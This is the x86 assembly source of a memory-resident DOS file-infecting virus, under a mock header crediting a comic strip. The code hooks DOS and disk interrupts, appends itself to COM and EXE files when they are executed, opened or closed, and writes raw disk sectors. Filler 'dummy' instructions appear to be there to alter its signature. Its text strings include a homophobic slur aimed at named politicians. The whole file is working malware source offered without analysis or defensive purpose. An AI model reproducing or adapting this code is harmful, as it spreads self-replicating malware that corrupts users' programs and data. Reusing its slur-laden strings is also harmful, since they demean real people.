;************************
;*			*
;*    O U T L A N D     *
;*			*
;* by Berkeley Breathed *
;*			*
;*   5/24/1992   	*
;*			*
;* dist by Washington   *
;* Post Writers Group	*
;************************


;
;The Outland Politically Incorrect Computer Virus
;
;
;
;

code	segment
	assume	cs:code,ds:code
copyright:
	db	'Bill the Cat Lives! ',0

date_stamp:
	dd	05249200h
checksum:
	db	30
;
;
;
;
;
;

exit_exe:
	mov	bx,es
	add	bx,10h
	add	bx,word ptr cs:[si+call_adr+2]
	mov	word ptr cs:[si+patch+2],bx
	inc	bx				;dummy
	mov	bx,word ptr cs:[si+call_adr]
	mov	word ptr cs:[si+patch],bx
	mov	bx,es
	add	bx,10h
	add	bx,word ptr cs:[si+stack_pointer+2]
	mov	ss,ax				;dummy
	mov	ss,bx
	mov	sp,word ptr cs:[si+stack_pointer]
	db	0eah			;JMP XXXX:YYYY
patch:
	dd	0

;
;
;
;


exit_com:
	mov	di,100h
	add	si,offset my_save
	movsb
	movsw
        mov     sp,ds:[6]               ;:
                                        ;:
	mov	bx,ax			;dummy
	xor	bx,bx
	push	bx
	jmp	[si-11] 		;si+call_adr-top_file

;
;
;
nofdisk2:
	jmp	nofdisk
startup:
	call	relative
relative:
	pop	si			;SI = $
	sub	si,offset relative
	cld
	cmp	word ptr cs:[si+my_save],5a4dh
	je	exe_ok
	cli
        mov     sp,si                   ;:
                                        ;:
                                        ;:
        add     sp,offset top_file+100h ;:
                                        ;:
                                        ;:
        sti                             ;:
                                        ;:
	cmp	sp,ds:[6]
	jnc	exit_com
exe_ok:
	push	ax
	push	es
	push	si
	push	ds
	mov	di,si

;
;
;

	xor	ax,ax
	push	ax
	mov	ds,ax
	mov	ax,cx			;dummy
	les	ax,ds:[13h*4]
	mov	word ptr cs:[si+fdisk],ax
	mov	word ptr cs:[si+fdisk+2],es
	mov	word ptr cs:[si+disk],ax
	mov	word ptr cs:[si+disk+2],es
	mov	ax,3344h		;dummy
        mov     ax,ds:[40h*4+2]         ;:
                                        ;:
                                        ;:
        cmp     ax,0f000h               ;:
                                        ;:
                                        ;:
	jne	nofdisk2
	mov	word ptr cs:[si+disk+2],ax
	mov	ax,ds:[40h*4]
	mov	word ptr cs:[si+disk],ax
	mov	dl,80h
        mov     ax,ds:[41h*4+2]         ;:
                                        ;:
                                        ;:
        cmp     ax,0f000h               ;:
                                        ;:
                                        ;:
	je	isfdisk
	cmp	ah,0c8h
	jc	nofdisk
	cmp	ah,0f4h
	jnc	nofdisk
	test	al,7fh
	jnz	nofdisk
	mov	ds,bx			;dummy
	mov	ds,ax
	cmp	ds:[0],0aa55h
	jne	nofdisk
	mov	dl,ds:[2]
isfdisk:
	mov	ds,ax
	xor	dh,dh
	mov	cl,8			;dummy
	mov	cl,9
	shl	dx,cl
	mov	cx,dx
	xor	si,si
findvect:
        lodsw                           ;:
                                        ;:
	cmp	ax,0fa80h		;	CMP	DL,80h
        jne     altchk                  ;       JNC     (       )
	lodsw
	cmp	ax,6969h		;dummy
	cmp	ax,7380h
	je	intchk
	jne	nxt0
altchk:
        cmp     ax,0c2f6h               ;:
                                        ;:
	jne	nxt			;	TEST	DL,80h
        lodsw                           ;       JNZ     (        )
	cmp	ax,7580h
	jne	nxt0
intchk:
	dec	si			;dummy
	inc	si			;dummy
        inc     si                      ;:
                                        ;:
	lodsw				;	INT	40h
	cmp	ax,40cdh
	je	found
	sub	si,3
nxt0:
	dec	si
	dec	si
nxt:
	inc 	si			;dummy
	dec	si			;dummy
	dec	si
	loop	findvect
	jmp	short nofdisk
found:
	sub	si,7
	mov	word ptr cs:[di+fdisk],si
	mov	word ptr cs:[di+fdisk+2],ds
nofdisk:
	mov	si,di
	nop				;dummy
	pop	ds

;:
;:
;:

	les	ax,ds:[21h*4]
	mov	word ptr cs:[si+save_int_21],ax
	mov	word ptr cs:[si+save_int_21+2],es
	push	cs
	nop				;dummy
	pop	ds
	cmp	ax,offset int_21
	jne	bad_func
	xor	di,di
	mov	cx,4433h		;dummy
	mov	cx,offset my_size
scan_func:
	lodsb
	scasb
	jne	bad_func
	loop	scan_func
	mov	es,ax			;dummy
	pop	es
	jmp	go_program

;:
;:
;:
;:
;:
;:
;:
go_shit:jmp	go_program

bad_func:
	pop	es
	mov	ah,49h
        call	int21h
	mov	bx,0ffffh
	mov	ah,47h			;dummy
	mov	ah,48h
	call	int21h
	sub	bx,(top_bz+my_bz+1ch-1)/16+2
	jc	go_shit
	mov	cx,es
	stc
	adc	cx,bx
	mov	ah,4ah
	call	int21h
	mov	bx,(offset top_bz+offset my_bz+1ch-1)/16+1
	stc
	sbb	es:[2],bx
	push	es
	mov	es,cx
	mov	ah,33h			;dummy
	mov	ah,4ah
	call	int21h
	mov	ax,es
	dec	ax
	mov	ds,ax
	mov	word ptr ds:[1],8
	call	mul_16
	mov	bx,ax
	mov	cx,dx
	pop	ds
	mov	ax,7654h		;dummy
	mov	ax,ds
	call	mul_16
	add	ax,ds:[6]
	adc	dx,0
	sub	ax,bx
	sbb	dx,cx
	jc	mem_ok
        sub     ds:[6],ax               ;:
                                        ;:
                                        ;:
mem_ok:
	pop	si
	push	si
	push	ds
	push	cs
	mov	di,0			;dummy
	xor	di,di
	mov	ds,di
	lds	ax,ds:[27h*4]
	mov	word ptr cs:[si+save_int_27],ax
	mov	word ptr cs:[si+save_int_27+2],ds
	pop	ds
	mov	cx,offset aux_size
	rep	movsb
	mov	ax,2367h		;dummy
	xor	ax,ax
	mov	ds,ax
        mov     ds:[21h*4],offset int_21;:
                                        ;:
                                        ;:
	mov	ds:[21h*4+2],es
	mov	ds:[27h*4],offset int_27
	mov	ds:[27h*4+2],es
	mov	word ptr es:[filehndl],ax
	pop	es
go_program:
	pop	si

;:
;:
;:
;:

	xor	ax,ax
	mov	ds,ax
	mov	ax,ds:[13h*4]
	mov	word ptr cs:[si+save_int_13],ax
	mov	ax,2468h		;dummy
	mov	ax,ds:[13h*4+2]
	mov	word ptr cs:[si+save_int_13+2],ax
	mov	ds:[13h*4],offset int_13
	add	ds:[13h*4],si
	mov	ds:[13h*4+2],cs
	pop	ds
	push	ds
	push	si
	mov	bx,1234h		;dummy
	mov	bx,si
	lds	ax,ds:[2ah]
	xor	si,si
	mov	dx,si
scan_envir:                             ;:
                                        ;:
                                        ;:
        lodsw                           ;:
                                        ;:
                                        ;:
	dec	si
	test	ax,ax
	jnz	scan_envir
	add	si,3
	lodsb

;:
;:
;:
;:
;:

	sub	al,'A'
	mov	cx,1
	push	cs
	pop	ds
	add	bx,offset int_27
	push	ax
	push	bx
	push	cx
	int	25h
	mov	ax,234h			;dummy
	pop	ax
	pop	cx
	pop	bx
	inc	byte ptr [bx+0ah]
        and     byte ptr [bx+0ah],0fh   ;:
                                        ;:
                                        ;:
        jnz     store_sec               ;:
                                        ;:
                                        ;:
	mov	al,[bx+10h]
	xor	ah,ah
	mul	word ptr [bx+16h]
	add	ax,[bx+0eh]
	push	ax
	mov	ax,0			;dummy
	mov	ax,[bx+11h]
	mov	dx,32
	mul	dx
	div	word ptr [bx+0bh]
	pop	dx
	add	dx,ax
	mov	ax,[bx+8]
	add	ax,40h
	cmp	ax,[bx+13h]
	jc	store_new
	inc	ax
	and	ax,3fh
	add	ax,dx
	cmp	ax,[bx+13h]
	jnc	small_disk
store_new:
	mov	[bx+8],ax
store_sec:
	pop	ax
	xor	dx,dx
	push	ax
	push	bx
	push	cx
	nop				;dummy
	int	26h

;:
;:
;:
;:
;:
;:
;:
;:
;:


	pop	ax
	pop	cx
	pop	bx
	pop	ax
	cmp	byte ptr [bx+0ah],0
	jne	not_now
	mov	dx,[bx+8]
	pop	bx
	push	bx
	nop				;dummy
	int	26h
small_disk:
	pop	ax
not_now:
	pop	si
	xor	ax,ax
	mov	ds,ax
	mov	ax,word ptr cs:[si+save_int_13]
	mov	ds:[13h*4],ax
	mov	ax,word ptr cs:[si+save_int_13+2]
	mov	ds:[13h*4+2],ax
	pop	ds
	mov	ah,33h			;dummy
	pop	ax
	cmp	word ptr cs:[si+my_save],5a4dh
	jne	go_exit_com
	jmp	exit_exe
go_exit_com:
	jmp	exit_com
int_24:
        mov     al,3                    ;:
                                        ;:

	nop				;dummy
	iret

;:

	db	'by Oliver Wendell Jones ',0
	db	'Politically Incorrect Personal Computers Presents: ',0
	db	'the OLIVER VIRUS!  Nya Ha Ha! ',0
	db	'Men Rule! ',0
	db	'America Kicks Butt! ',0
	db	'Rap Sucks! ',0
	db	'Eat Fatty Food! ',0
	db	'Dames Melt Like Jell-O for Naughty Men! ',0
	db	'Ted Kennedy Sucks Barney Frank`s Fag Cock! ',0


;:
;:
;:

int_27:
	pushf
	call	alloc
	popf
	jmp	dword ptr cs:[save_int_27]

;:
;:
;:
;:
;:
;:
;:
;:
;:

set_int_27:
	mov	word ptr cs:[save_int_27],dx
	mov	word ptr cs:[save_int_27+2],ds
	popf
	iret
set_int_21:
	mov	word ptr cs:[save_int_21],dx
	mov	word ptr cs:[save_int_21+2],ds
	popf
	iret
get_int_27:
	les	bx,dword ptr cs:[save_int_27]
	popf
	iret
get_int_21:
	les	bx,dword ptr cs:[save_int_21]
	popf
	iret

exec:
	call	do_file
	call	alloc
	popf
	jmp	dword ptr cs:[save_int_21]

	db	'Berk B.',0

;:
;:
;:
;:
;:
;:
;:
;:
;:
;:
;:
;:


int_21:
	push	bp
	mov	bp,sp
	push	[bp+6]
	popf
	pop	bp
	pushf
	call	ontop
	cmp	ax,2521h
	je	set_int_21
	cmp	ax,2527h
	je	set_int_27
	cmp	ax,3521h
	je	get_int_21
	cmp	ax,3527h
	je	get_int_27
	cld
	cmp	ax,4b00h
	je	exec
	cmp	ah,3ch
	je	create
	cmp	ah,3eh
	je	close
	cmp	ah,5bh
	jne	not_create
create:
        cmp     word ptr cs:[filehndl],0;:
                                        ;:
                                        ;:
	jne	dont_touch
	call	see_name
	jnz	dont_touch
	call	alloc
	popf
	call	function
	jc	int_exit
	pushf
	push	es
	push	cs
	pop	es
	push	si
	push	di
	push	cx
	push	ax
	mov	di,offset filehndl
	stosw
	mov	si,dx
	mov	cx,65
move_name:
	lodsb
	stosb
	test	al,al
	jz	all_ok
	loop	move_name
	mov	word ptr es:[filehndl],cx
all_ok:
	pop	ax
	pop	cx
	pop	di
	pop	si
	pop	es
go_exit:
	popf
	jnc	int_exit		;JMP
close:
	cmp	bx,word ptr cs:[filehndl]
	jne	dont_touch
	test	bx,bx
	jz	dont_touch
	call	alloc
	popf
	call	function
	jc	int_exit
	pushf
	push	ds
	push	cs
	pop	ds
	push	dx
	mov	dx,offset filehndl+2
	call	do_file
	mov	word ptr cs:[filehndl],0
	pop	dx
	pop	ds
	jmp	go_exit
not_create:
	cmp	ah,3dh
	je	touch
	cmp	ah,43h
	je	touch
        cmp     ah,56h                  ;:
                                        ;:
                                        ;:
                                        ;:
        jne     dont_touch              ;:
                                        ;:
                                        ;:
                                        ;:
touch:
	call	see_name
	jnz	dont_touch
	call	do_file
dont_touch:
	call	alloc
	popf
	call	function
int_exit:
	pushf
	push	ds
	call	get_chain
	mov	byte ptr ds:[0],'Z'
	pop	ds
	popf
dummy	proc	far			;???
	ret	2
dummy	endp

;:
;:
;:
;:

see_name:
	push	ax
	push	si
	mov	si,dx
scan_name:
	lodsb
	test	al,al
	nop				;dummy
	jz	bad_name
	cmp	al,'.'
	jnz	scan_name
	call	get_byte
	mov	ah,al
	nop				;dummy
	call	get_byte
	cmp	ax,'co'
	nop				;dummy
	jz	pos_com
	cmp	ax,'ex'
	nop				;dummy
	jnz	good_name
	call	get_byte
	cmp	al,'e'
	jmp	short good_name
pos_com:
	call	get_byte
	cmp	al,'m'
	jmp	short good_name
bad_name:
	inc	al
good_name:
	pop	si
	pop	ax
	ret

;:
;:
;:
;:


get_byte:
	lodsb
	cmp	al,'C'
	jc	byte_got
	cmp	al,'Y'
	jnc	byte_got
	add	al,20h
byte_got:
	ret

;:
;:
;:

function:
	pushf
	call	dword ptr cs:[save_int_21]
	ret


;:
;:
;:

do_file:
        push    ds                      ;:
                                        ;:
                                        ;:
	push	es
	push	si
	push	di
	push	ax
	push	bx
	push	cx
	push	dx
	mov	si,ds
	xor	ax,ax
	mov	ds,ax
        les     ax,ds:[24h*4]           ;:
                                        ;:
                                        ;:
        push    es                      ;:
                                        ;:
                                        ;:
	push	ax
	mov	ds:[24h*4],offset int_24
	mov	ds:[24h*4+2],cs
	les	ax,ds:[13h*4]
	mov	word ptr cs:[save_int_13],ax
	mov	word ptr cs:[save_int_13+2],es
	mov	ds:[13h*4],offset int_13
	mov	ds:[13h*4+2],cs
	push	es
	push	ax
	mov	ds,si
        xor     cx,cx                   ;:
                                        ;:
                                        ;:
                                        ;:
	mov	ax,4300h
	call	function
	mov	bx,cx
	and	cl,0feh
	cmp	cl,bl
	je	dont_change
	mov	ax,4301h
	call	function
	stc
dont_change:
	pushf
	push	ds
	push	dx
	push	bx
        mov     ax,3d02h                ;:
                                        ;:
                                        ;:
        call    function                ;:
                                        ;:
                                        ;:
	jc	cant_open
	mov	bx,ax
	call	disease
        mov     ah,3eh                  ;:
                                        ;:
                                        ;:
	call	function
cant_open:
	pop	cx
	pop	dx
	pop	ds
	popf
	jnc	no_update
        mov     ax,4301h                ;:
                                        ;:
                                        ;:
                                        ;:
        call    function                ;:
                                        ;:
                                        ;:
                                        ;:
no_update:
        xor     ax,ax                   ;:
                                        ;:
                                        ;:
                                        ;:
	mov	ds,ax
	pop	ds:[13h*4]
	pop	ds:[13h*4+2]
	pop	ds:[24h*4]
	pop	ds:[24h*4+2]
        pop     dx                      ;:
                                        ;:
                                        ;:
                                        ;:
	pop	cx
	pop	bx
	pop	ax
	pop	di
	pop	si
	pop	es
	pop	ds
	ret


;:
;:
;:
;:

disease:
	push	cs
	pop	ds
	push	cs
	pop	es
        mov     dx,offset top_save      ;:
                                        ;:
                                        ;:
	mov	cx,18h
	mov	ah,3fh
	call	int21h
	xor	cx,cx
	xor	dx,dx
        mov     ax,4202h                ;:
                                        ;:
                                        ;:
                                        ;:

	call	int21h
	mov	word ptr [top_save+1ah],dx
        cmp     ax,offset my_size       ;:
                                        ;:
                                        ;:
                                        ;:
	sbb	dx,0
        jc      stop_fuck_2             ;:
                                        ;:
                                        ;:
                                        ;:
	mov	word ptr [top_save+18h],ax
	cmp	word ptr [top_save],5a4dh
	jne	com_file
	mov	ax,word ptr [top_save+8]
	add	ax,word ptr [top_save+16h]
	call	mul_16
	add	ax,word ptr [top_save+14h]
	adc	dx,0
	mov	cx,dx
	mov	dx,ax
	jmp	short see_sick
com_file:
	cmp	byte ptr [top_save],0e9h
	jne	see_fuck
	mov	dx,word ptr [top_save+1]
	add	dx,103h
	jc	see_fuck
	dec	dh
	xor	cx,cx

;:
;:
;:
;:


see_sick:
	sub	dx,startup-copyright
	sbb	cx,0
	mov	ax,4200h
	call	int21h
	add	ax,offset top_file
	adc	dx,0
	cmp	ax,word ptr [top_save+18h]
	jne	see_fuck
	cmp	dx,word ptr [top_save+1ah]
	jne	see_fuck
	mov	dx,offset top_save+1ch
	mov	si,dx
	mov	cx,offset my_size
	mov	ah,3fh
	call	int21h
	jc	see_fuck
	cmp	cx,ax
	jne	see_fuck
	xor	di,di
next_byte:
	lodsb
	scasb
	jne	see_fuck
	loop	next_byte
stop_fuck_2:
	ret
see_fuck:
        xor     cx,cx                   ;:
                                        ;:
                                        ;:
                                        ;:
	xor	dx,dx
	mov	ax,4202h
	call	int21h
	cmp	word ptr [top_save],5a4dh
	je	fuck_exe
        add     ax,offset aux_size+200h ;:
                                        ;:
                                        ;:
                                        ;:
	adc	dx,0
	je	fuck_it
	ret

;:
;:
;:
;:

fuck_exe:
	mov	dx,word ptr [top_save+18h]
	neg	dl
	and	dx,0fh
	xor	cx,cx
	mov	ax,4201h
	call	int21h
	mov	word ptr [top_save+18h],ax
	mov	word ptr [top_save+1ah],dx
fuck_it:
        mov     ax,5700h                ;:
                                        ;:
                                        ;:
                                        ;:
	call	int21h
	pushf
	push	cx
	push	dx
	cmp	word ptr [top_save],5a4dh
        je      exe_file                ;:
                                        ;:
                                        ;:
                                        ;:
	mov	ax,100h
	jmp	short set_adr
exe_file:
	mov	ax,word ptr [top_save+14h]
	mov	dx,word ptr [top_save+16h]
set_adr:
	mov	di,offset call_adr
	stosw
	mov	ax,0			;dummy
	mov	ax,dx
	stosw
	mov	ax,word ptr [top_save+10h]
	stosw
	mov	ax,word ptr [top_save+0eh]
	stosw
        mov     si,offset top_save      ;:
                                        ;:
                                        ;:
        movsb                           ;:
                                        ;:
                                        ;:
        movsw                           ;:
                                        ;:
                                        ;:
	xor	dx,dx
	mov	cx,offset top_file
	mov	ah,40h
        call	int21h                  ;:
                                        ;:
                                        ;:
        jc      go_no_fuck              ;:
                                        ;:
                                        ;:
	xor	cx,ax
	jnz	go_no_fuck
	mov	dx,cx
	mov	ax,4200h
	call	int21h
	cmp	word ptr [top_save],5a4dh
	je	do_exe
	mov	byte ptr [top_save],0e9h
	mov	ax,2233h		;dummy
	mov	ax,word ptr [top_save+18h]
	add	ax,startup-copyright-3
	mov	word ptr [top_save+1],ax
	mov	cx,3
	jmp	short write_header
go_no_fuck:
	jmp	short no_fuck

;:
;:
;:
;:

do_exe:
	call	mul_hdr
	not	ax
	not	dx
	inc	ax
	jne	calc_offs
	inc	dx
calc_offs:
	add	ax,word ptr [top_save+18h]
	adc	dx,word ptr [top_save+1ah]
	mov	cx,11h			;dummy
	mov	cx,10h
	div	cx
	mov	word ptr [top_save+14h],startup-copyright
	mov	word ptr [top_save+16h],ax
	nop				;dummy
	add	ax,(offset top_file-offset copyright-1)/16+1
	mov	word ptr [top_save+0eh],ax
	mov	word ptr [top_save+10h],100h
	add	word ptr [top_save+18h],offset top_file
	nop				;dummy
	adc	word ptr [top_save+1ah],0
	mov	ax,word ptr [top_save+18h]
	and	ax,1ffh
	mov	word ptr [top_save+2],ax
	pushf
	mov	ax,word ptr [top_save+19h]
	shr	byte ptr [top_save+1bh],1
	rcr	ax,1
	popf
	jz	update_len
	inc	ax
update_len:
	mov	word ptr [top_save+4],ax
	mov	cx,18h
write_header:
	mov	dx,offset top_save
	mov	ah,40h
        call	int21h                  ;:
                                        ;:
                                        ;:
                                        ;:
no_fuck:
	pop	dx
	pop	cx
	popf
	jc	stop_fuck
        mov     ax,5701h                ;:
                                        ;:
                                        ;:
                                        ;:
	call	int21h
stop_fuck:
	ret

;
;
;
;
;
;
;
;
;
;
;
;
;
;


alloc:
	push	ds
	call	get_chain
	mov	byte ptr ds:[0],'M'
	pop	ds

;:
;:
;:
;:
;:
;:
;:
;:

ontop:
	push	ds
	push	ax
	push	bx
	push	dx
	xor	bx,bx
	mov	ds,bx
	lds	dx,ds:[21h*4]
	nop				;dummy
	cmp	dx,offset int_21
	jne	search_segment
	mov	ax,ds
	mov	bx,cs
	cmp	ax,bx
	je	test_complete

;
;
;
;
;
;
;
;


	xor	bx,bx
search_segment:
	mov	ax,[bx]
	cmp	ax,offset int_21
	jne	search_next
	mov	ax,3322h		;dummy
	mov	ax,cs
	cmp	ax,[bx+2]
	je	got_him
search_next:
	inc	bx
	jne	search_segment
	je	return_control
got_him:
	mov	ax,word ptr cs:[save_int_21]
	mov	[bx],ax
	nop				;dummy
	mov	ax,word ptr cs:[save_int_21+2]
	mov	[bx+2],ax
	mov	word ptr cs:[save_int_21],dx
	mov	word ptr cs:[save_int_21+2],ds
	xor	bx,bx

;
;
;
;
;
;

return_control:
	mov	ds,bx
	nop				;dummy
	mov	ds:[21h*4],offset int_21
	mov	ds:[21h*4+2],cs
test_complete:
	pop	dx
	pop	bx
	pop	ax
	pop	ds
	ret

;
;
;
;
get_chain:
	push	ax
	push	bx
	mov	ah,22h			;dummy
	mov	ah,61h			;mod'd
	inc	ah			;mod'd to 62h
	call	function
	mov	ax,cs
	dec	ax
	dec	bx
next_blk:
	mov	ds,ax			;dummy
	mov	ds,bx
	stc
	adc	bx,ds:[3]
	cmp	bx,ax
	jc	next_blk
	pop	bx
	pop	ax
	ret

;
;
;
;

mul_hdr:
	mov	ax,word ptr [top_save+8]
mul_16:
	mov	dx,10h
	mul	dx
	ret

int21h:	int	21h
	ret

	db	'Banana 6000 P.I.P.C. ' 
	db	'(C) I spell -Lightening- wrong! ',0

;
;
;
;
;
;
;
;


int_13:
	cmp	ah,22h			;dummy
	cmp	ah,3
	jnz	subfn_ok
	cmp	dl,80h
	jnc	hdisk
	db	0eah			;JMP XXXX:YYYY
my_size:                                ;:
                                        ;:
                                        ;:
                                        ;:
disk:
	dd	0
hdisk:
	db	0eah			;JMP XXXX:YYYY
fdisk:
	dd	0
subfn_ok:
	db	0eah			;JMP XXXX:YYYY
save_int_13:
	dd	0
call_adr:
	dd	100h

stack_pointer:
        dd      0                       ;:
                                        ;:
                                        ;:
                                        ;:
my_save:
        int     20h                     ;:
                                        ;:
                                        ;:
                                        ;:
        nop                             ;:
                                        ;:
                                        ;:
top_file:                               ;:
                                        ;:
                                        ;:
                                        ;:
filehndl    equ $
filename    equ filehndl+2              ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
save_int_27 equ filename+65             ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
save_int_21 equ save_int_27+4           ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
aux_size    equ save_int_21+4           ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
top_save    equ save_int_21+4           ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
top_bz	    equ top_save-copyright
my_bz	    equ my_size-copyright
code	ends
	end

